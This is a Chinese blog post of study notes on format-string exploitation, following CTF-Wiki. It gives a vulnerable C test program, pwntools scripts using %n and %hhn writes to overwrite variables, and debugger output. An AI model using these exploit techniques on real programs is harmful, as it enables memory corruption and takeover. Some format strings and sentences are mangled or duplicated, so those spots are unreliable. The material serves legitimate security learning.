[address of c]%012d%6$naddress of c的長(zhǎng)度為4(32位程序),故而我們得再輸入12個(gè)字符才可以達(dá)到16個(gè)字符,以便來(lái)修改c的值為16。
參數(shù)n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。前面已經(jīng)成果輸出了16個(gè)字符了,所以在這就相當(dāng)于把格式化字符串的第6個(gè)參數(shù)c的值改寫(xiě)成了16。
參數(shù)012d:如果width選項(xiàng)前綴以0,則在左側(cè)用0填充直至達(dá)到寬度要求。這里把012d換成’a’*12也可以。
具體腳本如下
def forc():sh = process('./overwrite')c_addr = int(sh.recvuntil('\n', drop=True), 16)#原來(lái)是printf("%p\n",&c);drop=True表示接收\(chéng)n之前的值,16表示以16進(jìn)制的形式。print hex(c_addr)payload = p32(c_addr) + '%012d' + '%6$n'print payloadgdb.attach(sh)sh.sendline(payload)print sh.recv()sh.interactive()forc()我用這個(gè)腳本去打我上面編譯出來(lái)的程序,發(fā)現(xiàn)c_addr一直接收不了,因?yàn)樵趐rintf("%p\n",&c);之前有一個(gè)scanf()語(yǔ)句,我發(fā)現(xiàn)就算是先send()一個(gè)數(shù)值也接收不到…于是我又用他的腳本編譯了一次。
#include <stdio.h> int a = 123, b = 456; int main() {int c = 789;char s[100];printf("%p\n", &c);scanf("%s", s);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0; }關(guān)于pwntools里面的recvuntil腳本
>>> t = tube() >>> t.recv_raw = lambda n: b"Hello World!" >>> t.recvuntil(b' ') b'Hello ' >>> _=t.clean(0) >>> # Matches on 'o' in 'Hello' >>> t.recvuntil((b' ',b'W',b'o',b'r')) b'Hello' >>> _=t.clean(0) >>> # Matches expressly full string >>> t.recvuntil(b' Wor') b'Hello Wor' >>> _=t.clean(0) >>> # Matches on full string, drops match >>> t.recvuntil(b' Wor', drop=True) b'Hello'結(jié)果如下
devil@ubuntu:~$ python exp.py [+] Starting local process './overflow_1': pid 3817 0xff9583ac [*] running in new terminal: /usr/bin/gdb -q "./overflow_1" 3817 -x "/tmp/pwnyrtF2W.gdb" [+] Waiting for debugger: Done \xac\x83\x95\xffaaaaaaaaaaaamodified c.[*] Switching to interactive mode [*] Process './overflow_1' stopped with exit code 0 (pid 3817) [*] Got EOF while reading in interactiveterminal里面的結(jié)果如下
gef? b printf Breakpoint 1 at 0xf7deb670: file printf.c, line 28. gef? c Continuing.Breakpoint 1, __printf (format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xff958348 → 0xff9583ac → 0x00000315 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7f5587c → 0x00000000 $esp : 0xff95832c → 0x080484d7 → <main+76> add esp, 0x10 $ebp : 0xff9583b8 → 0x00000000 $esi : 0xf7f54000 → 0x001b1db0 $edi : 0xf7f54000 → 0x001b1db0 $eip : 0xf7deb670 → <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff95832c│+0x0000: 0x080484d7 → <main+76> add esp, 0x10 ← $esp 0xff958330│+0x0004: 0xff958348 → 0xff9583ac → 0x00000315 0xff958334│+0x0008: 0xff958348 → 0xff9583ac → 0x00000315 0xff958338│+0x000c: 0x000000c2 0xff95833c│+0x0010: 0xf7e326bb → <handle_intel+107> add esp, 0x10 0xff958340│+0x0014: 0xff95836e → 0xffff0000 0xff958344│+0x0018: 0xff95846c → 0xff95a323 → "QT_QPA_PLATFORMTHEME=appmenu-qt5" 0xff958348│+0x001c: 0xff9583ac → 0x00000315 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7deb667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7deb66d nop 0xf7deb66e xchg ax, ax→ 0xf7deb670 <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax>? 0xf7ec1b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7ec1b5c <__x86.get_pc_thunk.ax+3> ret 0xf7ec1b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7ec1b60 <__x86.get_pc_thunk.dx+3> ret 0xf7ec1b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7ec1b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow_1", stopped 0xf7deb670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7deb670 → __printf(format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") [#1] 0x80484d7 → main() ──────────────────────────────────────────────────────────────────────────────── gef? c Continuing. [Inferior 1 (process 3817) exited normally]結(jié)果輸出modified c,說(shuō)明c的值的確被修改成了16.
覆蓋任意地址內(nèi)存
覆蓋小數(shù)字
首先,我們來(lái)考慮一下如何修改data段的變量為一個(gè)較小的數(shù)字,比如說(shuō),小于機(jī)器字長(zhǎng)的數(shù)字。這里以 2 為例。可能會(huì)覺(jué)得這其實(shí)沒(méi)有什么區(qū)別,可仔細(xì)一想,真的沒(méi)有么?如果我們還是將要覆蓋的地址放在最前面,那么將直接占用機(jī)器字長(zhǎng)個(gè) (4 或 8) 字節(jié)。顯然,無(wú)論之后如何輸出,都只會(huì)比 4 大。
或許我們可以使用整型溢出來(lái)修改對(duì)應(yīng)的地址的值,但是這樣將面臨著我們得一次輸出大量的內(nèi)容。而這,一般情況下,基本都不會(huì)攻擊成功。
那么我們應(yīng)該怎么做呢?再仔細(xì)想一下,我們有必要將所要覆蓋的變量的地址放在字符串的最前面么?似乎沒(méi)有,我們當(dāng)時(shí)只是為了尋找偏移,所以才把 tag 放在字符串的最前面,如果我們把 tag 放在中間,其實(shí)也是無(wú)妨的。類(lèi)似的,我們把地址放在中間,只要能夠找到對(duì)應(yīng)的偏移,其照樣也可以得到對(duì)應(yīng)的數(shù)值。前面已經(jīng)說(shuō)了我們的格式化字符串對(duì)應(yīng)的地址為格式化字符串的第 6 個(gè)參數(shù)。由于我們想要把 2 寫(xiě)到對(duì)應(yīng)的地址處,故而格式化字符串的前面的字節(jié)必須是
aa%k$nxx //'k$'表示獲取格式化字符串中的第k個(gè)參數(shù),'%n'表示把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。這里已經(jīng)成功輸出的字符為'aa',所以把2寫(xiě)入地址為a_addr處,也就是把a(bǔ)的值覆蓋為2.此時(shí)對(duì)應(yīng)的存儲(chǔ)的格式化字符串(%knxx)已經(jīng)占據(jù)了6個(gè)字符的位置,如果我們?cè)偬砑觾蓚€(gè)字符aa,那么其實(shí)aanxx)已經(jīng)占據(jù)了6個(gè)字符的位置,如果我們?cè)偬砑觾蓚€(gè)字符aa,那么其實(shí)aa%k就是第6個(gè)參數(shù)(4個(gè)字符為1個(gè)參數(shù)),nxx)已經(jīng)占據(jù)了6個(gè)字符的位置,如果我們再添加兩個(gè)字符aa,那么其實(shí)aanxx其實(shí)就是第7個(gè)參數(shù),后面我們?nèi)绻衔覀円采w的地址,那就是第8個(gè)參數(shù),所以如果我們這里設(shè)置k為8,其實(shí)就可以覆蓋了。
利用 ida 可以得到 a 的地址為 0x0804A024(由于 a、b 是已初始化的全局變量,因此不在堆棧中)。
.data:0804A024 public a .data:0804A024 a dd 7Bh ; DATA XREF: main:loc_80484F4↑r .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510↑r .data:0804A028 _data ends故而我們可以構(gòu)造如下的利用代碼
from pwn import * def fora():sh = process('./overflow_1')a_addr = 0x0804A024payload = 'aa%8$naa' + p32(a_addr)sh.sendline(payload)print sh.recv() sh.interactive() fora()對(duì)應(yīng)的結(jié)果如下
devil@ubuntu:~$ python test.py [+] Starting local process './overflow_1': pid 5353 0xff820b7c aaaa$\xa0\x04modified a for a small number.[*] Switching to interactive mode [*] Process './overflow_1' stopped with exit code 0 (pid 5353) [*] Got EOF while reading in interactive小技巧:我們沒(méi)有必要必須把地址放在最前面,放在哪里都可以,只要我們可以找到其對(duì)應(yīng)的偏移即可。
覆蓋大數(shù)字
上面介紹了覆蓋小數(shù)字,接下來(lái)介紹一下覆蓋大數(shù)字。上面我們說(shuō)了,我們可以選擇直接一次性輸出大數(shù)字個(gè)字節(jié)來(lái)進(jìn)行覆蓋,但是這樣基本也不會(huì)成功,因?yàn)樘L(zhǎng)了。而且即使成功,我們一次性等待的時(shí)間也太長(zhǎng)了,那么有沒(méi)有什么比較好的方式呢?__當(dāng)然有!(不然還寫(xiě)個(gè)p的筆記)
不過(guò)在介紹之前,我們得先再簡(jiǎn)單了解一下,變量在內(nèi)存中的存儲(chǔ)格式。首先,所有的變量在內(nèi)存中都是以字節(jié)進(jìn)行存儲(chǔ)的。此外,在x86和x64的體系結(jié)構(gòu)中,變量的存儲(chǔ)格式為小端存儲(chǔ),即最低有效位存儲(chǔ)在低地址(和我們通常習(xí)慣的順序相反)。
舉個(gè)例子,0x12345678在內(nèi)存中由低地址到高地址依次為\x78\x56\x34\x12。再者,我們可以回憶一下格式化字符串里面的標(biāo)志,可以發(fā)現(xiàn)有這么兩個(gè)標(biāo)志:
hh 對(duì)于整數(shù)類(lèi)型,printf期待一個(gè)從char提升的int尺寸的整型參數(shù)。輸出一個(gè)字節(jié) h 對(duì)于整數(shù)類(lèi)型,printf期待一個(gè)從short提升的int尺寸的整型參數(shù)。輸出一個(gè)雙字節(jié)所以說(shuō),我們可以利用 %hhn 向某個(gè)地址寫(xiě)入單字節(jié),利用 %hn 向某個(gè)地址寫(xiě)入雙字節(jié)。這里,我們以單字節(jié)為例。
我們準(zhǔn)備覆蓋b的值,先用ida看一下b的地址為多少
.data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF:可以看出,b的地址為0x0804A028
我們希望將按照如下方式進(jìn)行覆蓋,前面為覆蓋地址,后面為覆蓋內(nèi)容。
0x0804A028 \x78 0x0804A029 \x56 0x0804A02a \x34 0x0804A02b \x12我們?cè)谇懊娲_定相對(duì)偏移的過(guò)程中確定了格式化字符串的地址是格式化字符串的第6個(gè)參數(shù)。所以我們的payload基本上如下
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3'%8$n'+pad4'%9$n'給出一個(gè)基本構(gòu)造如下:
from pwn import * def fmt(prev,word,index):if prev < word: #傳過(guò)來(lái)的word依次為0x78,0x56,0x34,0x12;傳過(guò)來(lái)的prev依次為4,0x78,0x56,0x34result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" print(fmtstr)return fmtstrdef fmt_str(offset,size,addr,target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev,(target >> i * 8)& 0xff,offset + i)#乘法運(yùn)算優(yōu)先級(jí)高于左移運(yùn)算,右移8位是二進(jìn)制的8位,轉(zhuǎn)成16進(jìn)制之后就是每次右移兩位。'&0xff'目的是除了最右邊兩位不變,其它位都置零。prev = (target >> i * 8) & 0xff #prev的初值為4,之后依次為0x78,0x56,0x34,0x12return payload payload = fmt_str(6,4,0x0804A028,0x12345678)其中每個(gè)參數(shù)的含義基本如下
- offset表示要覆蓋的地址的最初的偏移
- size表示機(jī)器字長(zhǎng)
- addr表示將要覆蓋的地址
- target表示我們要覆蓋為的目的變量值
說(shuō)實(shí)話一開(kāi)始沒(méi)太看懂這個(gè)payload的構(gòu)造,于是我一步步分析了程序并先打印了這個(gè)fmt()函數(shù)的運(yùn)行結(jié)果
python運(yùn)算中,乘法優(yōu)先級(jí)在右移優(yōu)先級(jí)之前。
pre1 = (0x12345678) >> 0 * 8
pre1 --> 0x12345678
pre2 = pre1 & 0xff
pre2 -->0x78
fmt函數(shù)運(yùn)行結(jié)果如下
%104c%6hhnhhn %222c%7hhnhhn
%222c%8hhnhhn %222c%9hhnhhn
payload結(jié)果如下
(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6hhnhhn%222c%7hhnhhn%222c%8hhnhhn%222c%9hhnhhn
payload前面一段是p32形式的攻擊地址 后面%(num)c%(index)$hhn表示向第index個(gè)參數(shù)處以單字節(jié)的形式寫(xiě)入特定數(shù)值[0x78,0x56,0x34,0x12]
完整的exploit如下
#-*- coding=utf-8 -*- from pwn import * def fmt(prev,word,index):if prev < word: #傳過(guò)來(lái)的word依次為0x78,0x56,0x34,0x12;傳過(guò)來(lái)的prev依次為0x10,0x78,0x56,0x34result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" print(fmtstr)return fmtstrdef fmt_str(offset,size,addr,target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev,(target >> i * 8)& 0xff,offset + i)#乘法運(yùn)算優(yōu)先級(jí)高于左移運(yùn)算,右移8位是二進(jìn)制的8位,轉(zhuǎn)成16進(jìn)制之后就是每次右移兩位。'&0xff'目的是除了最右邊兩位不變,其它位都置零。prev = (target >> i * 8) & 0xff #prev的初值為4,之后依次為0x78,0x56,0x34,0x12return payload def proc():sh = process("./overflow_1")payload = fmt_str(6,4,0x0804A028,0x12345678)print(payload)sh.sendline(payload)print(sh.recv())sh.interactive()proc()結(jié)果如下
devil@ubuntu:~$ python exploit.py [+] Starting local process './overflow_1': pid 2780 %104c%6$hhn %222c%7$hhn %222c%8$hhn %222c%9$hhn (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn 0xff97f18c (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04 ( � \xbb Nmodified b for a big number![*] Switching to interactive mode [*] Got EOF while reading in interactivefmt()函數(shù)里的else部分我看了好久都沒(méi)弄明白,為什么第一次寫(xiě)入0x78,后面還能寫(xiě)入0x56,0x34,0x12。因?yàn)閷?xiě)入的值是根據(jù)前面成功輸出的字符個(gè)數(shù)來(lái)決定的,怎么會(huì)越寫(xiě)越小呢?
else:result = 256 + word - prevfmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn"result = 256 + word - prev,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我們想要寫(xiě)入的第二個(gè)值,那么為什么又要加256呢?
%hhn是具有溢出功能的,前面成功輸出的字符個(gè)數(shù)超過(guò)255就會(huì)從0重新開(kāi)始計(jì)數(shù)(比如260就相當(dāng)于260-256=4)。所以加256并不影響結(jié)果,那這里為什么要加256呢?因?yàn)閣ord-prev的值是負(fù)數(shù),不能直接使用%[num]c (num為負(fù)數(shù)),于是先加256,在后面計(jì)算輸出字符個(gè)數(shù)的時(shí)候會(huì)自動(dòng)減去256。這時(shí)候就相當(dāng)于寫(xiě)入了0x56,后面的0x34,0x12依次類(lèi)推。
當(dāng)然,我們也可以利用 %n 分別對(duì)每個(gè)地址進(jìn)行寫(xiě)入,也可以得到對(duì)應(yīng)的答案,但是由于我們寫(xiě)入的變量都只會(huì)影響由其開(kāi)始的四個(gè)字節(jié),所以最后一個(gè)變量寫(xiě)完之后,我們可能會(huì)修改之后的三個(gè)字節(jié),如果這三個(gè)字節(jié)比較重要的話,程序就有可能因此崩潰。而采用 %hhn 則不會(huì)有這樣的問(wèn)題,因?yàn)檫@樣只會(huì)修改相應(yīng)地址的一個(gè)字節(jié)。
上面是CTF-Wiki寫(xiě)的,我個(gè)人的理解是用%n寫(xiě)入0x12345678這個(gè)數(shù)據(jù),%n是把已經(jīng)成功輸出字符的個(gè)數(shù)寫(xiě)入對(duì)應(yīng)指針指向的整型(int)變量,整型(int)變量占4個(gè)字節(jié),但是使用%hhn只會(huì)修改1個(gè)字節(jié)。
� \xbb Nmodified b for a big number![] Switching to interactive mode
[] Got EOF while reading in interactive
result = 256 + word - prev,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我們想要寫(xiě)入的第二個(gè)值,那么為什么又要加256呢?
%hhn是具有溢出功能的,前面成功輸出的字符個(gè)數(shù)超過(guò)255就會(huì)從0重新開(kāi)始計(jì)數(shù)(比如260就相當(dāng)于260-256=4)。所以加256并不影響結(jié)果,那這里為什么要加256呢?因?yàn)閣ord-prev的值是負(fù)數(shù),不能直接使用%[num]c (num為負(fù)數(shù)),于是先加256,在后面計(jì)算輸出字符個(gè)數(shù)的時(shí)候會(huì)自動(dòng)減去256。這時(shí)候就相當(dāng)于寫(xiě)入了0x56,后面的0x34,0x12依次類(lèi)推。
當(dāng)然,我們也可以利用 %n 分別對(duì)每個(gè)地址進(jìn)行寫(xiě)入,也可以得到對(duì)應(yīng)的答案,但是由于我們寫(xiě)入的變量都只會(huì)影響由其開(kāi)始的四個(gè)字節(jié),所以最后一個(gè)變量寫(xiě)完之后,我們可能會(huì)修改之后的三個(gè)字節(jié),如果這三個(gè)字節(jié)比較重要的話,程序就有可能因此崩潰。而采用 %hhn 則不會(huì)有這樣的問(wèn)題,因?yàn)檫@樣只會(huì)修改相應(yīng)地址的一個(gè)字節(jié)。
上面是CTF-Wiki寫(xiě)的,我個(gè)人的理解是用%n寫(xiě)入0x12345678這個(gè)數(shù)據(jù),%n是把已經(jīng)成功輸出字符的個(gè)數(shù)寫(xiě)入對(duì)應(yīng)指針指向的整型(int)變量,整型(int)變量占4個(gè)字節(jié),但是使用%hhn只會(huì)修改1個(gè)字節(jié)。
總結(jié)
以上是生活随笔為你收集整理的跟着CTF-Wiki学pwn|格式化字符串(1)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 志宇-RabbitMQ学习
- 下一篇: docker安装openldap